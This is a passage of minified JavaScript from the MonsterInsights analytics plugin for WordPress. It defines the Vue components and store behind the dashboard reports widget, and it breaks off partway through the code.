File: //proc/self/cwd/wp-content/plugins/google-analytics-for-wordpress/lite/assets/vue/js/widget.js
(function(t){function e(e){for(var s,n,a=e[0],l=e[1],c=e[2],p=0,g=[];p<a.length;p++)n=a[p],r[n]&&g.push(r[n][0]),r[n]=0;for(s in l)Object.prototype.hasOwnProperty.call(l,s)&&(t[s]=l[s]);d&&d(e);while(g.length)g.shift()();return i.push.apply(i,c||[]),o()}function o(){for(var t,e=0;e<i.length;e++){for(var o=i[e],s=!0,a=1;a<o.length;a++){var l=o[a];0!==r[l]&&(s=!1)}s&&(i.splice(e--,1),t=n(n.s=o[0]))}return t}var s={},r={widget:0},i=[];function n(e){if(s[e])return s[e].exports;var o=s[e]={i:e,l:!1,exports:{}};return t[e].call(o.exports,o,o.exports,n),o.l=!0,o.exports}n.m=t,n.c=s,n.d=function(t,e,o){n.o(t,e)||Object.defineProperty(t,e,{enumerable:!0,get:o})},n.r=function(t){"undefined"!==typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"===typeof t&&t&&t.__esModule)return t;var o=Object.create(null);if(n.r(o),Object.defineProperty(o,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var s in t)n.d(o,s,function(e){return t[e]}.bind(null,s));return o},n.n=function(t){var e=t&&t.__esModule?function(){return t["default"]}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="";var a=window["monsterinsightsjsonp"]=window["monsterinsightsjsonp"]||[],l=a.push.bind(a);a.push=e,a=a.slice();for(var c=0;c<a.length;c++)e(a[c]);var d=l;i.push([3,"chunk-vendors","chunk-common"]),o()})({3:function(t,e,o){t.exports=o("f70f")},"33ea":function(t,e,o){},"3b3a":function(t,e,o){},f70f:function(t,e,o){"use strict";o.r(e);o("e260"),o("e6cf"),o("cca6"),o("a79d");var s=function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("div",{class:t.mainClass},[o("widget-settings",{ref:"settings"}),t.reauth?o("report-re-auth"):o("widget-accordion"),t.fullWidth?o("div",{staticClass:"monsterinsights-fullwidth-mascot"}):t._e(),t.fullWidth?o("div",{staticClass:"monsterinsights-fullwidth-report-title",domProps:{textContent:t._s(t.text_overview_report)}}):t._e(),t.fullWidth?t._e():o("widget-footer")],1)},r=[],i=(o("a4d3"),o("4de4"),o("4160"),o("b0c0"),o("e439"),o("dbb4"),o("b64b"),o("159b"),o("fc11")),n=o("561c"),a=o("2f62"),l=o("f284"),c=(o("d3b7"),o("2b0e")),d=o("bc3a"),p=o.n(d),g=function(t,e,o,s,r){return new Promise((function(i){var n=new FormData;o=JSON.stringify(o),n.append("action","monsterinsights_save_widget_state"),n.append("nonce",c["a"].prototype.$mi.nonce),n.append("width",e),n.append("reports",o),n.append("interval",s),n.append("notice",r),n.append("compact",t.state.compact),p.a.post(c["a"].prototype.$mi.ajax,n).then((function(t){c["a"].prototype.$swal.close(),i(t.data)})).catch((function(t){console.log(t)}))}))},u=function(){return new Promise((function(){var t=new FormData;t.append("action","monsterinsights_mark_notice_closed"),t.append("nonce",c["a"].prototype.$mi.nonce),p.a.post(c["a"].prototype.$mi.ajax,t)}))},h={saveWidgetState:g,markNoticeClosed:u},f=function(t){return new Promise((function(e){if(c["a"].prototype.$mi.widget_state&&c["a"].prototype.$mi.widget_state.reports)for(var o in c["a"].prototype.$mi.widget_state.reports)if(c["a"].prototype.$mi.widget_state.reports.hasOwnProperty(o))for(var s in c["a"].prototype.$mi.widget_state.reports[o])c["a"].prototype.$mi.widget_state.reports[o].hasOwnProperty(s)&&(t.state.reports[s].enabled=c["a"].prototype.$mi.widget_state.reports[o][s]);t.state.width=c["a"].prototype.$mi.widget_state.width,t.state.interval=c["a"].prototype.$mi.widget_state.interval,t.state.notice30day=c["a"].prototype.$mi.widget_state.notice30day,t.state.compact="undefined"!==typeof c["a"].prototype.$mi.widget_state.compact&&c["a"].prototype.$mi.widget_state.compact,e(!0)}))},m=function(t){var e={overview:{},publisher:{},ecommerce:{}},o=t.rootGetters.hasOwnProperty("$_reports/date")?t.rootGetters["$_reports/date"]["interval"]:"";for(var s in t.state.reports)if(t.state.reports.hasOwnProperty(s)&&t.state.reports[s].hasOwnProperty("type")){var r=t.state.reports[s].type;e[r][s]=t.state.reports[s]["enabled"]}h.saveWidgetState(t,t.state.width,e,o)},w=function(){h.markNoticeClosed()},b={processDefaults:f,saveWidgetState:m,markNoticeClosed:w},v=function(t){var e="ua"===c["a"].prototype.$mi.auth_connected_type?"hide_for_ua":"hide_for_v4",o={};for(var s in t.reports)t.reports[s][e]||(o[s]=t.reports[s]);return o},y=function(t){return t.width},_=function(t){return"regular"===t.width&&t.compact},O=function(t){return t.loaded},j=function(t){return t.error},x=function(t){return t.notice30day},P={reports:v,width:y,loaded:O,error:j,notice30day:x,compact:_},k=function(t,e){t.reports[e]&&c["a"].set(t.reports[e],"enabled",!0)},D=function(t,e){t.reports[e]&&c["a"].set(t.reports[e],"enabled",!1)},$=function(t,e){t.loaded=e},R=function(t,e){t.width=e},T=function(t,e){t.compact=e},C=function(t,e){"undefined"!==typeof e.title||"undefined"!==typeof e.content||"undefined"!==typeof e.footer?c["a"].set(t.error,e.report,e):c["a"].set(t.error,e.report,!1)},E={ENABLE_REPORT:k,DISABLE_REPORT:D,UPDATE_LOADED:$,UPDATE_WIDTH:R,SET_ERROR:C,UPDATE_COMPACT:T},S={width:"regular",interval:30,loaded:!1,compact:!0,reports:{overview:{type:"overview",name:Object(n["a"])("Overview Report","google-analytics-for-wordpress"),enabled:!0,component:"WidgetReportOverview"},toppages:{type:"overview",name:Object(n["a"])("Top Posts/Pages","google-analytics-for-wordpress"),tooltip:Object(n["a"])("This list shows the most viewed posts and pages on your website.","google-analytics-for-wordpress"),enabled:!1,component:"WidgetReportTopPosts"},newvsreturn:{type:"overview",name:Object(n["a"])("New vs. Returning Visitors","google-analytics-for-wordpress"),tooltip:Object(n["a"])("This graph shows what percent of your user sessions come from new versus repeat visitors.","google-analytics-for-wordpress"),enabled:!1,component:"WidgetReportNewVsReturning"},devices:{type:"overview",name:Object(n["a"])("Device Breakdown","google-analytics-for-wordpress"),tooltip:Object(n["a"])("This graph shows what percent of your visitor sessions are done using a traditional computer or laptop, tablet or mobile device to view your site.","google-analytics-for-wordpress"),enabled:!1,component:"WidgetReportDevices"},landingpages:{type:"publisher",name:Object(n["a"])("Top Landing Pages","google-analytics-for-wordpress"),tooltip:Object(n["a"])("This list shows the top pages users first land on when visiting your website.","google-analytics-for-wordpress"),enabled:!1,component:"WidgetReportLandingPages"},exitpages:{type:"publisher",name:Object(n["a"])("Top Exit Pages","google-analytics-for-wordpress"),tooltip:Object(n["a"])("This list shows the top pages users exit your website from.","google-analytics-for-wordpress"),enabled:!1,component:"WidgetReportExitPages",hide_for_v4:!0},outboundlinks:{type:"publisher",name:Object(n["a"])("Top Outbound Links","google-analytics-for-wordpress"),tooltip:Object(n["a"])("This list shows the top links clicked on your website that go to another website.","google-analytics-for-wordpress"),enabled:!1,component:"WidgetReportOutboundLinks"},affiliatelinks:{type:"publisher",name:Object(n["a"])("Top Affiliate Links","google-analytics-for-wordpress"),tooltip:Object(n["a"])("This list shows the top affiliate links your visitors clicked on.","google-analytics-for-wordpress"),enabled:!1,component:"WidgetReportAffiliateLinks"},downloadlinks:{type:"publisher",name:Object(n["a"])("Top Download Links","google-analytics-for-wordpress"),tooltip:Object(n["a"])("This list shows the download links your visitors clicked the most.","google-analytics-for-wordpress"),enabled:!1,component:"WidgetReportDownloadLinks"},infobox:{type:"ecommerce",name:Object(n["a"])("Overview","google-analytics-for-wordpress"),enabled:!1,component:"WidgetReportEcommerceOverview"},products:{type:"ecommerce",name:Object(n["a"])("Top Products","google-analytics-for-wordpress"),tooltip:Object(n["a"])("This list shows the top selling products on your website.","google-analytics-for-wordpress"),enabled:!1,component:"WidgetReportTopProducts"},conversions:{type:"ecommerce",name:Object(n["a"])("Top Conversion Sources","google-analytics-for-wordpress"),tooltip:Object(n["a"])("This list shows the top referral websites in terms of product revenue.","google-analytics-for-wordpress"),enabled:!1,component:"WidgetReportTopConversions"},addremove:{type:"ecommerce",name:Object(n["a"])("Total Add/Remove","google-analytics-for-wordpress"),enabled:!1,component:"WidgetReportAddRemove"},days:{type:"ecommerce",name:Object(n["a"])("Time to Purchase","google-analytics-for-wordpress"),tooltip:Object(n["a"])("This list shows how many days from first visit it took users to purchase products from your site.","google-analytics-for-wordpress"),enabled:!1,component:"WidgetReportDays",hide_for_v4:!0},sessions:{type:"ecommerce",name:Object(n["a"])("Sessions to Purchase","google-analytics-for-wordpress"),tooltip:Object(n["a"])("This list shows the number of sessions it took users before they purchased a product from your website.","google-analytics-for-wordpress"),enabled:!1,component:"WidgetReportSessions",hide_for_v4:!0},newcustomers:{type:"ecommerce",name:Object(n["a"])("New Customers","google-analytics-for-wordpress"),tooltip:Object(n["a"])("This list shows the percentage of new customers who purchased a product from your website.","google-analytics-for-wordpress"),enabled:!1,component:"WidgetReportNewCustomers",hide_for_ua:!0},abandonedcheckouts:{type:"ecommerce",name:Object(n["a"])("Abandoned Checkouts","google-analytics-for-wordpress"),tooltip:Object(n["a"])("This list shows the percentage of carts that never went through the checkout process.","google-analytics-for-wordpress"),enabled:!1,component:"WidgetReportAbandonedCheckouts",hide_for_ua:!0}},error:{},notice30day:!1},W={namespaced:!0,state:S,actions:b,getters:P,mutations:E},L=function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("div",{staticClass:"monsterinsights-widget-accordion monsterinsights-widget-accordion-lite"},[t._l(t.widgetReports,(function(e,s){return o("div",{key:s,class:t.reportClass(s)},[t.showReportTitle(e.enabled)?o("div",{class:t.toggleClass(s),attrs:{tabindex:"0"},on:{click:function(e){return e.preventDefault(),t.toggle(e,s)},keyup:[function(e){return!e.type.indexOf("key")&&t._k(e.keyCode,"space",32,e.key,[" ","Spacebar"])?null:t.toggle(e,s)},function(e){return!e.type.indexOf("key")&&t._k(e.keyCode,"enter",13,e.key,"Enter")?null:t.toggle(e,s)}]}},[o("h2",{staticClass:"monsterinsights-widget-report-title"},[o("span",{domProps:{textContent:t._s(e.name)}}),e.tooltip?o("settings-info-tooltip",{attrs:{content:e.tooltip}}):t._e()],1)]):t._e(),t.showReport(s,e)?o("div",{staticClass:"monsterinsights-widget-content"},[t.error[e.type]?o("widget-report-error",{attrs:{error:t.error[e.type]}}):"overview"===s&&t.loaded?o("WidgetReportOverview"):t.loaded?o("report-upsell-overlay",{attrs:{report:e.type}}):o("div",{staticClass:"monsterinsights-widget-loading"})],1):t._e()])})),t.widgetFullWidth?t._e():o("widget-reports-link")],2)},A=[],U=(o("a9e3"),o("4795"),o("c1df")),M=o.n(U),B=function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("div",[o("div",{staticClass:"monsterinsights-report-row monsterinsights-report-infobox-row"},[o("report-infobox",{attrs:{title:t.text_sessions,value:t.$formatNumber(t.infoboxSessionsData.value),change:t.infoboxSessionsData.change,color:t.infoboxSessionsData.color,direction:t.infoboxSessionsData.direction,days:t.infoboxRange,tooltip:t.text_infobox_tooltip_sessions}}),o("report-infobox",{attrs:{title:t.text_pageviews,value:t.$formatNumber(t.infoboxPageviewsData.value),change:t.infoboxPageviewsData.change,color:t.infoboxPageviewsData.color,direction:t.infoboxPageviewsData.direction,days:t.infoboxRange,tooltip:t.text_infobox_tooltip_pageviews}}),o("report-infobox",{attrs:{title:t.text_duration,value:t.infoboxDurationData.value,change:t.infoboxDurationData.change,color:t.infoboxDurationData.color,direction:t.infoboxDurationData.direction,days:t.infoboxRange,tooltip:t.text_infobox_tooltip_average}}),t.hasBounceData?o("report-infobox",{attrs:{title:t.text_bounce,value:t.infoboxBounceData.value,change:t.infoboxBounceData.change,color:t.infoboxBounceData.color,direction:t.infoboxBounceData.direction,days:t.infoboxRange,tooltip:t.text_infobox_tooltip_bounce}}):t._e(),!t.hasBounceData&&t.hasTotalUsersData?o("report-infobox",{attrs:{title:t.text_total_users,value:t.$formatNumber(t.infoboxTotalUsersData.value),change:t.infoboxTotalUsersData.change,color:t.infoboxTotalUsersData.color,direction:t.infoboxTotalUsersData.direction,days:t.infoboxRange,tooltip:t.text_infobox_tooltip_totalusers}}):t._e()],1),o("WidgetTips")],1)},I=[],Y=(o("25f0"),o("bd74")),N=function(){var t=this,e=t.$createElement,o=t._self._c||e;return t.tip?o("div",{staticClass:"monsterinsights-tips"},[o("span",{staticClass:"monstericon-star"}),o("div",{staticClass:"monsterinsights-tip-text"},[o("strong",{domProps:{textContent:t._s(t.text_pro_tip)}}),t._v(" "+t._s(t.tip.text)+" "),o("a",{attrs:{href:t.upgradeUrl("pro-tips",t.tip.utm)},domProps:{textContent:t._s(t.text_upgrade_link)}})])]):t._e()},F=[];function H(t,e){var o=Object.keys(t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(t);e&&(s=s.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),o.push.apply(o,s)}return o}function z(t){for(var e=1;e<arguments.length;e++){var o=null!=arguments[e]?arguments[e]:{};e%2?H(Object(o),!0).forEach((function(e){Object(i["a"])(t,e,o[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(o)):H(Object(o)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(o,e))}))}return t}var G={name:"WidgetTips",data:function(){return{tips:[{text:Object(n["a"])("Forms Tracking help you see who’s viewing your forms, so you can increase conversions.","google-analytics-for-wordpress"),utm:"forms",level:"pro"},{text:Object(n["a"])("Custom Dimensions show you popular categories, best time to publish, focus keywords, etc.","google-analytics-for-wordpress"),utm:"custom-dimensions",level:"pro"},{text:Object(n["a"])("Make Google Analytics GDPR compliant with our EU Compliance addon.","google-analytics-for-wordpress"),utm:"gdpr",level:"plus"},{text:Object(n["a"])("Get real-time Google Analytics report right inside your WordPress dashboard.","google-analytics-for-wordpress"),utm:"real-time",level:"plus"},{text:Object(n["a"])("Use Google Optimize to easily perform A/B split tests on your site.","google-analytics-for-wordpress"),utm:"optimize",level:"pro"},{text:Object(n["a"])("See all your important store metrics in one place with Enhanced Ecommerce Tracking.","google-analytics-for-wordpress"),utm:"ecommerce",level:"pro"},{text:Object(n["a"])("Unlock search console report to see your top performing keywords in Google.","google-analytics-for-wordpress"),utm:"search-console",level:"plus"},{text:Object(n["a"])("Get Page Insights to see important metrics for individual posts / pages in WordPress.","google-analytics-for-wordpress"),utm:"page-insights",level:"plus"},{text:Object(n["a"])("Publishers Report shows your top performing pages, audience demographics, and more.","google-analytics-for-wordpress"),utm:"publishers",level:"plus"},{text:Object(n["a"])("Get Scroll-Depth tracking to see how far users scroll on your pages before leaving.","google-analytics-for-wordpress"),utm:"scroll",level:"plus"}],text_upgrade_link:Object(n["a"])("Upgrade to Pro »","google-analytics-for-wordpress"),text_pro_tip:Object(n["a"])("Pro Tip:","google-analytics-for-wordpress")}},computed:z({},Object(a["b"])({license:"$_license/license",license_network:"$_license/license_network"}),{licenseLevel:function(){return this.$mi.network?this.license_network.type:this.license.type},tip:function(){return this.getTip()}}),methods:{getRandomTip:function(){return this.tips[Math.floor(Math.random()*this.tips.length)]},getPlusTip:function(){var t=this.getRandomTip();return"pro"!==t.level?this.getPlusTip():t},getTip:function(){return""===this.licenseLevel?this.getRandomTip():("plus"===this.licenseLevel||"basic"===this.licenseLevel)&&this.getPlusTip()},upgradeUrl:function(t,e){return this.$getUpgradeUrl(t,e)}}},K=G,V=o("2877"),q=Object(V["a"])(K,N,F,!1,null,null,null),J=q.exports;function X(t,e){var o=Object.keys(t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(t);e&&(s=s.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),o.push.apply(o,s)}return o}function Q(t){for(var e=1;e<arguments.length;e++){var o=null!=arguments[e]?arguments[e]:{};e%2?X(Object(o),!0).forEach((function(e){Object(i["a"])(t,e,o[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(o)):X(Object(o)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(o,e))}))}return t}var Z={name:"WidgetReportOverview",components:{WidgetTips:J,ReportInfobox:Y["a"]},computed:Q({},Object(a["b"])({overview:"$_reports/overview",widget_width:"$_widget/width"}),{infoboxRange:function(){return this.overview.infobox&&this.overview.infobox.range?this.overview.infobox.range:0},infoboxSessionsData:function(){return this.infoboxData("sessions")},infoboxPageviewsData:function(){return this.infoboxData("pageviews")},infoboxDurationData:function(){return this.infoboxData("duration")},hasBounceData:function(){var t=this.infoboxBounceData;return"undefined"!==typeof t.value},infoboxBounceData:function(){return this.infoboxData("bounce",!0)},hasTotalUsersData:function(){var t=this.infoboxTotalUsersData;return"undefined"!==typeof t.value},infoboxTotalUsersData:function(){return this.infoboxData("totalusers")}}),data:function(){return{chartKey:0,current_tab:"sessions",text_sessions:Object(n["a"])("Sessions","google-analytics-for-wordpress"),text_sessions_tooltip:Object(n["d"])(Object(n["a"])("Unique %s Sessions","google-analytics-for-wordpress"),"<br />"),text_pageviews:Object(n["a"])("Pageviews","google-analytics-for-wordpress"),text_pageviews_tooltip:Object(n["d"])(Object(n["a"])("Unique %s Pageviews","google-analytics-for-wordpress"),"<br />"),text_infobox_tooltip_sessions:Object(n["a"])("A session is the browsing session of a single user to your site.","google-analytics-for-wordpress"),text_infobox_tooltip_pageviews:Object(n["a"])("A pageview is defined as a view of a page on your site that is being tracked by the Analytics tracking code. Each refresh of a page is also a new pageview.","google-analytics-for-wordpress"),text_infobox_tooltip_average:Object(n["a"])("Total duration of all sessions (in seconds) / number of sessions.","google-analytics-for-wordpress"),text_infobox_tooltip_bounce:Object(n["a"])("Percentage of single page visits (or web sessions). It is the number of visits in which a person leaves your website from the landing page without browsing any further.","google-analytics-for-wordpress"),text_infobox_tooltip_totalusers:Object(n["a"])("The number of distinct tracked users","google-analytics-for-wordpress"),text_duration:Object(n["a"])("Avg. Session Duration","google-analytics-for-wordpress"),text_bounce:Object(n["a"])("Bounce Rate","google-analytics-for-wordpress"),text_total_users:Object(n["a"])("Total Users","google-analytics-for-wordpress")}},methods:{infoboxData:function(t){var e=arguments.length>1&&void 0!==arguments[1]&&arguments[1],o={};return this.overview.infobox&&this.overview.infobox[t]&&(o.change=this.overview.infobox[t]["prev"],o.value=this.overview.infobox[t]["value"].toString(),0===this.overview.infobox[t]["prev"]?o.direction="":this.overview.infobox[t]["prev"]>0?(o.direction="up",o.color="green"):(o.direction="down",o.color="red")),e&&("down"===o.direction?o.color="green":o.color="red"),o},forceRerender:function(){this.chartKey+=1}}},tt=Z,et=Object(V["a"])(tt,B,I,!1,null,null,null),ot=et.exports,st=o("93ec"),rt=o("d3fc"),it=o("48c7"),nt=function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("div",{staticClass:"monsterinsights-reports-link"},[o("span",{domProps:{innerHTML:t._s(t.text_see_all)}}),t._v(" "),o("a",{staticClass:"monsterinsights-button monsterinsights-button-small",attrs:{href:t.$mi.reports_url},domProps:{innerHTML:t._s(t.text_go_to)}})])},at=[],lt={name:"WidgetReportsLink",props:{see_all:String,go_to:String},data:function(){return{default_see_all:Object(n["a"])("See All Reports","google-analytics-for-wordpress"),default_go_to:Object(n["a"])("Go to the Analytics Dashboard","google-analytics-for-wordpress")}},computed:{text_see_all:function(){return this.see_all?this.see_all:this.default_see_all},text_go_to:function(){return this.go_to?this.go_to:this.default_go_to}}},ct=lt,dt=Object(V["a"])(ct,nt,at,!1,null,null,null),pt=dt.exports;function gt(t,e){var o=Object.keys(t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(t);e&&(s=s.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),o.push.apply(o,s)}return o}function ut(t){for(var e=1;e<arguments.length;e++){var o=null!=arguments[e]?arguments[e]:{};e%2?gt(Object(o),!0).forEach((function(e){Object(i["a"])(t,e,o[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(o)):gt(Object(o)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(o,e))}))}return t}var ht=!1,ft=!1,mt=!1,wt={name:"WidgetAccordion",components:{WidgetReportsLink:pt,ReportUpsellOverlay:it["a"],WidgetReportError:rt["a"],SettingsInfoTooltip:st["a"],WidgetReportOverview:ot},props:{mobileWidth:{default:782,type:Number}},data:function(){return{activeReport:"overview",reportsWithUpsell:{},isMobile:!1}},created:function(){if(this.$mi.widget_state&&this.$mi.widget_state.interval){var t=this.$mi.widget_state.interval,e=this.$mi_intervals(),o=e[t]||e.last30days,s=o.start||M()().subtract(1,"days"),r=o.end||M.a.subtract(30,"days");this.$store.commit("$_reports/UPDATE_INTERVAL",this.$mi.widget_state.interval),this.$store.commit("$_reports/UPDATE_DATE",{start:s.format("YYYY-MM-DD"),end:r.format("YYYY-MM-DD")})}},computed:ut({},Object(a["b"])({widget_reports:"$_widget/reports",widget_width:"$_widget/width",loaded:"$_widget/loaded",error:"$_widget/error"}),{widgetFullWidth:function(){return"regular"!==this.widget_width},widgetReports:function(){var t={},e={};for(var o in ht=!1,this.widget_reports)if(this.widget_reports.hasOwnProperty(o)&&this.widget_reports[o].enabled){if(this.widgetFullWidth){if("undefined"!==typeof this.reportsWithUpsell[o]){if(!1!==ht)continue;ht=!0}if(this.error[this.widget_reports[o]["type"]]){var s=this.widget_reports[o]["type"];if(e[s]=e[s]?e[s]+1:1,e[s]>1)continue}}t[o]=this.widget_reports[o]}return t}}),methods:{maybeHideUpsell:function(t){this.$set(this.reportsWithUpsell,t,1),this.widgetFullWidth&&!mt&&(mt=!0,this.$forceUpdate())},toggle:function(t,e){var o=this.widget_reports[e].type,s=this;s.$store.commit("$_widget/UPDATE_LOADED",!1),s.$store.commit("$_widget/SET_ERROR",{report:o}),this.$store.dispatch("$_reports/getReportData",o).then((function(){s.$store.commit("$_widget/UPDATE_LOADED",!0)})),this.activeReport=e===this.activeReport?"":e,""!==this.activeReport&&this.scrollIntoView(t.target)},toggleClass:function(t){var e="monsterinsights-widget-toggle";return this.activeReport===t&&(e+=" monsterinsights-widget-toggle-active"),e},showReport:function(t,e){return!(!this.widgetFullWidth||!e.enabled||this.isMobile)||this.activeReport===t},reportClass:function(t){return"monsterinsights-widget-report-element monsterinsights-widget-report-"+t},scrollIntoView:function(t){this.$nextTick((function(){var e=t.getBoundingClientRect();window.scrollTo({top:e.top-50+pageYOffset,left:0,behavior:"smooth"})}))},showReportTitle:function(t){return!!this.widgetFullWidth||t},handleResize:function(){ft||(ft=!0,window.requestAnimationFrame?window.requestAnimationFrame(this.resizeCallback):setTimeout(this.resizeCallback,66))},resizeCallback:function(){this.isMobile=window.innerWidth<this.mobileWidth,ft=!1}},mounted:function(){var t=this;this.$store.dispatch("$_reports/getReportData","overview").then((function(){t.$store.commit("$_widget/UPDATE_LOADED",!0),t.$forceUpdate()})),window.addEventListener("resize",this.handleResize),this.handleResize()},beforeDestroy:function(){window.removeEventListener("resize",this.handleResize)}},bt=wt,vt=Object(V["a"])(bt,L,A,!1,null,null,null),yt=vt.exports,_t=function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("div",{staticClass:"monsterinsights-widget-settings"},[o("div",{staticClass:"monsterinsights-widget-interval-static",domProps:{textContent:t._s(t.selectedIntervalText)}}),o("widget-settings-width",{ref:"width"}),o("widget-settings-reports")],1)},Ot=[],jt=function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("div",{staticClass:"monsterinsights-widget-dropdown"},[o("button",{staticClass:"monsterinsights-widget-cog",attrs:{"aria-label":t.text_settings_dropdown,"aria-pressed":t.dropdownVisible,type:"button"},on:{click:function(e){return e.stopPropagation(),t.toggleDropdown(e)}}},[o("i",{staticClass:"monstericon-cog"})]),t.dropdownVisible?o("div",{directives:[{name:"click-outside",rawName:"v-click-outside",value:t.hideDropdown,expression:"hideDropdown"}],staticClass:"monsterinsights-widget-dropdown-content"},[o("widget-settings-compact"),o("span",{domProps:{textContent:t._s(t.text_settings_overview)}}),t._l(t.getReportSettings("overview"),(function(e,s){return o("div",{key:s,staticClass:"monsterinsights-widget-setting "},[o("label",{class:e.enabled?"monsterinsights-checked":"",attrs:{tabindex:"0"},on:{click:function(e){return e.preventDefault(),t.toggleReport(e,s)},keyup:[function(e){return!e.type.indexOf("key")&&t._k(e.keyCode,"enter",13,e.key,"Enter")?null:t.toggleReport(e,s)},function(e){return!e.type.indexOf("key")&&t._k(e.keyCode,"space",32,e.key,[" ","Spacebar"])?null:t.toggleReport(e,s)}]}},[o("input",{attrs:{type:"checkbox"},domProps:{checked:e.enabled}}),t._v(" "+t._s(e.name)+" ")])])})),o("span",{domProps:{textContent:t._s(t.text_settings_publisher)}}),t._l(t.getReportSettings("publisher"),(function(e,s){return o("div",{key:s,staticClass:"monsterinsights-widget-setting "},[o("label",{directives:[{name:"tooltip",rawName:"v-tooltip.left",value:t.tooltip_data,expression:"tooltip_data",modifiers:{left:!0}}],staticClass:"monsterinsights-faded",attrs:{tabindex:"0"}},[o("input",{attrs:{type:"checkbox"},domProps:{checked:e.enabled}}),t._v(" "+t._s(e.name)+" ")])])})),o("span",{domProps:{textContent:t._s(t.text_settings_ecommerce)}}),t._l(t.getReportSettings("ecommerce"),(function(e,s){return o("div",{key:s,staticClass:"monsterinsights-widget-setting "},[o("label",{directives:[{name:"tooltip",rawName:"v-tooltip.left",value:t.tooltip_data,expression:"tooltip_data",modifiers:{left:!0}}],staticClass:"monsterinsights-faded",attrs:{tabindex:"0"}},[o("input",{attrs:{type:"checkbox"},domProps:{checked:e.enabled}}),t._v(" "+t._s(e.name)+" ")])])})),o("widget-settings-hide")],2):t._e()])},xt=[],Pt=function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("button",{staticClass:"monsterinsights-hide-button",domProps:{textContent:t._s(t.text_hide_widget)},on:{click:function(e){return e.preventDefault(),t.hideWidget(e)}}})},kt=[];function Dt(t,e){var o=Object.keys(t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(t);e&&(s=s.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),o.push.apply(o,s)}return o}function $t(t){for(var e=1;e<arguments.length;e++){var o=null!=arguments[e]?arguments[e]:{};e%2?Dt(Object(o),!0).forEach((function(e){Object(i["a"])(t,e,o[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(o)):Dt(Object(o)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(o,e))}))}return t}var Rt={name:"WidgetSettingsHide",data:function(){return{text_hide_widget:Object(n["a"])("Hide dashboard widget","google-analytics-for-wordpress")}},computed:$t({},Object(a["b"])({widget_width:"$_widget/width"}),{fullWidth:function(){return"regular"!==this.widget_width}}),methods:{hideWidget:function(){var t=this;this.$swal({type:"info",customContainerClass:"monsterinsights-swal",title:Object(n["a"])("Are you sure you want to hide the MonsterInsights Dashboard Widget? ","google-analytics-for-wordpress"),showCancelButton:!0,confirmButtonText:Object(n["a"])("Yes, hide it!","google-analytics-for-wordpress"),cancelButtonText:Object(n["a"])("No, cancel!","google-analytics-for-wordpress"),reverseButtons:!0}).then((function(e){if(e.value){t.$swal({type:"success",title:Object(n["a"])("MonsterInsights Widget Hidden","google-analytics-for-wordpress"),html:Object(n["a"])('You can re-enable the MonsterInsights widget at any time using the "Screen Options" menu on the top right of this page',"google-analytics-for-wordpress")});var o=document.getElementById("monsterinsights_reports_widget-hide");o&&o.click()}}))}}},Tt=Rt,Ct=Object(V["a"])(Tt,Pt,kt,!1,null,null,null),Et=Ct.exports,St=function(){var t=this,e=t.$createElement,o=t._self._c||e;return o("div")},Wt=[],Lt={name:"WidgetSettingsCompact"},At=Lt,Ut=Object(V["a"])(At,St,Wt,!1,null,null,null),Mt=Ut.exports;function Bt(t,e){var o=Object.keys(t);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(t);e&&(s=s.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),o.push.apply(o,s)}return o}function It(t){for(var e=1;e<arguments.length;e++){var o=null!=arguments[e]?arguments[e]:{};e%2?Bt(Object(o),!0).forEach((function(e){Object(i["a"])(t,e,o[e])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(o)):Bt(Object(o)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(o,e))}))}return t}c["a"].directive("click-outside",{bind:function(t,e,o){t.clickOutsideEvent=function(s){t===s.target||t.contains(s.target)||o.context[e.expression](s)},document.body.addEventListener("click",t.clickOutsideEvent)},unbind:function(t){document.body.removeEventListener("click",t.clickOutsideEvent)}});var Yt={name:"WidgetSettingsReports",components:{WidgetSettingsCompact:Mt,WidgetSettingsHide:Et},data:function(){return{dropdownVisible:!1,text_settings_overview:Object(n["a"])("Show Overview Reports","google-analytics-for-wordpress"),text_settings_publisher:Object(n["a"])("Show Publishers Reports","google-analytics-for-wordpress"),text_settings_ecommerce:Object(n["a"])("Show eCommerce Reports","google-analytics-for-wordpress"),text_settings_dropdown:Object(n["a"])("Settings Menu","google-analytics-for-wordpress"),tooltip_data:{content:Object(n["a"])("Available in PRO version","google-analytics-for-wordpress"),autoHide:!1,trigger:"hover focus click"}}},computed:It({},Object(a["b"])({widget_reports:"$_widget/reports"}),{reportSettings:function(){var t={};for(var e in 